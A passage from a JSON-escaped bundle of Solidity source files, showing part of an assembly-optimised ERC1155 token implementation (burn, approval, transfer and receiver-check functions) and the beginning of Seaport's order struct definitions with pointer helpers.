pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a 